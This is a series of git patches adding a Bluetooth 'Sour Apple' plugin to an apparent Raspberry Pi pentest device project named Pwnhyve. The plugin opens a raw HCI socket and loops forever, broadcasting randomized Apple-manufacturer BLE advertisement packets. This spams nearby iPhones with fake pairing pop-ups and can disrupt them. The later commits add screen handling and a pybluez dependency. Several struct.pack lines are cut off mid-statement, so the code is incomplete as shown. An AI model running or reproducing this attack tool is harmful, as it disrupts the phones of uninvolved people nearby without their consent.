From fad6f67f79fe9b485b08422277d3d4601f4419bc Mon Sep 17 00:00:00 2001 From: dj1ch Date: Sat, 3 Feb 2024 20:59:00 -0800 Subject: [PATCH 1/7] ble sour apple script --- plugins/BLE/ble.py | 62 ++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 60 insertions(+), 2 deletions(-) diff --git a/plugins/BLE/ble.py b/plugins/BLE/ble.py index 14913e6..53b4cdf 100644 --- a/plugins/BLE/ble.py +++ b/plugins/BLE/ble.py @@ -1,2 +1,60 @@ -# yo deadass bluez sucks and my pi dies installing any bluetooth library -# someone work on this pelase \ No newline at end of file +# Source: https://github.com/RapierXbox/ESP32-Sour-Apple +# Licensed under GPL 3.0, we should be able to use this right? +# ESP32(Python) Sour Apple by @RapierXbox and @Amachik + +import random +import bluetooth._bluetooth as bluez +from time import sleep +import struct +import socket +import array +import fcntl +from errno import EALREADY + +def main(): + hci_sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) + req_str = struct.pack("H", 0) + request = array.array("b", req_str) + try: + fcntl.ioctl(hci_sock.fileno(), bluez.HCIDEVUP, request[0]) + except IOError as e: + if e.errno == EALREADY: + pass + else: + raise + finally: + hci_sock.close() + + try: + sock = bluez.hci_open_dev(0) + except Exception as e: + print(f"Unable to connect to Bluetooth hardware 0: {e}") + return + try: + while True: + types = [0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0] + bt_packet = (16, 0xFF, 0x4C, 0x00, 0x0F, 0x05, 0xC1, types[random.randint(0, len(types) - 1)], + random.randint(0, 255), random.randint(0, 255), random.randint(0, 255), 0x00, 0x00, 0x10, + random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) + struct_params = [20, 20, 3, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0] + cmd_pkt = struct.pack(" Date: Sat, 3 Feb 2024 22:33:20 -0800 Subject: [PATCH 2/7] define class however did not add screen support yet... --- plugins/BLE/ble.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/plugins/BLE/ble.py b/plugins/BLE/ble.py index 53b4cdf..6679dfb 100644 --- a/plugins/BLE/ble.py +++ b/plugins/BLE/ble.py @@ -2,6 +2,7 @@ # Licensed under GPL 3.0, we should be able to use this right? # ESP32(Python) Sour Apple by @RapierXbox and @Amachik +from core.plugin import BasePwnhyvePlugin import random import bluetooth._bluetooth as bluez from time import sleep @@ -11,7 +12,8 @@ import fcntl from errno import EALREADY -def main(): +class PWNble(BasePwnhyvePlugin): + def iphoneBLE(): hci_sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) req_str = struct.pack("H", 0) request = array.array("b", req_str) @@ -54,7 +56,3 @@ def main(): print(f"An error occurred: {e}") cmd_pkt = struct.pack(" Date: Sun, 4 Feb 2024 20:39:48 -0800 Subject: [PATCH 3/7] screen support? pls test when possible --- plugins/BLE/ble.py | 103 +++++++++++++++++++++++++++------------------ 1 file changed, 62 insertions(+), 41 deletions(-) diff --git a/plugins/BLE/ble.py b/plugins/BLE/ble.py index 6679dfb..06db756 100644 --- a/plugins/BLE/ble.py +++ b/plugins/BLE/ble.py @@ -3,6 +3,7 @@ # ESP32(Python) Sour Apple by @RapierXbox and @Amachik from core.plugin import BasePwnhyvePlugin +from core.SH1106.screen import screenConsole, waitForKey import random import bluetooth._bluetooth as bluez from time import sleep @@ -12,47 +13,67 @@ import fcntl from errno import EALREADY +screen = screenConsole(draw, disp, image) + class PWNble(BasePwnhyvePlugin): - def iphoneBLE(): - hci_sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) - req_str = struct.pack("H", 0) - request = array.array("b", req_str) - try: - fcntl.ioctl(hci_sock.fileno(), bluez.HCIDEVUP, request[0]) - except IOError as e: - if e.errno == EALREADY: - pass - else: - raise - finally: - hci_sock.close() + def loading(self): + for _ in range(3): + print("Starting iPhone BLE", end="", flush=True) + sleep(0.5) + print(".", end="", flush=True) + sleep(0.5) + print(".", end="", flush=True) + sleep(0.5) + print(".", end="", flush=True) + sleep(0.5) + print("\b\b\b \b\b\b", end="", flush=True) + + def iphoneBLE(self, GPIO): + try: + screen.start() + self.loading() + waitForKey(GPIO) + + hci_sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) + req_str = struct.pack("H", 0) + request = array.array("b", req_str) + try: + fcntl.ioctl(hci_sock.fileno(), bluez.HCIDEVUP, request[0]) + except IOError as e: + if e.errno == EALREADY: + pass + else: + raise + finally: + hci_sock.close() - try: - sock = bluez.hci_open_dev(0) - except Exception as e: - print(f"Unable to connect to Bluetooth hardware 0: {e}") - return - try: - while True: - types = [0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0] - bt_packet = (16, 0xFF, 0x4C, 0x00, 0x0F, 0x05, 0xC1, types[random.randint(0, len(types) - 1)], - random.randint(0, 255), random.randint(0, 255), random.randint(0, 255), 0x00, 0x00, 0x10, - random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) - struct_params = [20, 20, 3, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0] - cmd_pkt = struct.pack(" Date: Thu, 15 Aug 2024 19:04:30 -0700 Subject: [PATCH 4/7] bluetooth library --- requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 30fc3d8..4c261d4 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,4 +6,5 @@ numpy scapy smbus spidev -pytoml \ No newline at end of file +pytoml +pybluez From 3ccd29bc4eea06ca3279ce71dcf6c340bf13cc81 Mon Sep 17 00:00:00 2001 From: dj1ch Date: Thu, 15 Aug 2024 21:28:08 -0700 Subject: [PATCH 5/7] address BLE corrections --- plugins/BLE/ble.py | 50 ++++++++++++++++++++++++++++------------------ 1 file changed, 31 insertions(+), 19 deletions(-) diff --git a/plugins/BLE/ble.py b/plugins/BLE/ble.py index 06db756..f4be6fe 100644 --- a/plugins/BLE/ble.py +++ b/plugins/BLE/ble.py @@ -13,8 +13,6 @@ import fcntl from errno import EALREADY -screen = screenConsole(draw, disp, image) - class PWNble(BasePwnhyvePlugin): def loading(self): for _ in range(3): @@ -28,12 +26,14 @@ def loading(self): sleep(0.5) print("\b\b\b \b\b\b", end="", flush=True) - def iphoneBLE(self, GPIO): + def iphoneBLE(draw, disp, image, GPIO): + screen = screenConsole(draw, disp, image) + try: screen.start() - self.loading() waitForKey(GPIO) - + + # set up bluetooth interface hci_sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) req_str = struct.pack("H", 0) request = array.array("b", req_str) @@ -54,21 +54,33 @@ def iphoneBLE(self, GPIO): return try: while True: - types = [0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0] - bt_packet = (16, 0xFF, 0x4C, 0x00, 0x0F, 0x05, 0xC1, types[random.randint(0, len(types) - 1)], - random.randint(0, 255), random.randint(0, 255), random.randint(0, 255), 0x00, 0x00, 0x10, - random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) - struct_params = [20, 20, 3, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0] - cmd_pkt = struct.pack(" Date: Sun, 18 Aug 2024 15:05:41 -0700 Subject: [PATCH 6/7] fix indentation --- plugins/BLE/ble.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/plugins/BLE/ble.py b/plugins/BLE/ble.py index f4be6fe..ab8a974 100644 --- a/plugins/BLE/ble.py +++ b/plugins/BLE/ble.py @@ -88,4 +88,5 @@ def iphoneBLE(draw, disp, image, GPIO): print(f"An error occurred: {e}") cmd_pkt = struct.pack(" Date: Sun, 18 Aug 2024 15:10:25 -0700 Subject: [PATCH 7/7] clean up --- plugins/BLE/ble.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/BLE/ble.py b/plugins/BLE/ble.py index ab8a974..78dea01 100644 --- a/plugins/BLE/ble.py +++ b/plugins/BLE/ble.py @@ -88,5 +88,5 @@ def iphoneBLE(draw, disp, image, GPIO): print(f"An error occurred: {e}") cmd_pkt = struct.pack("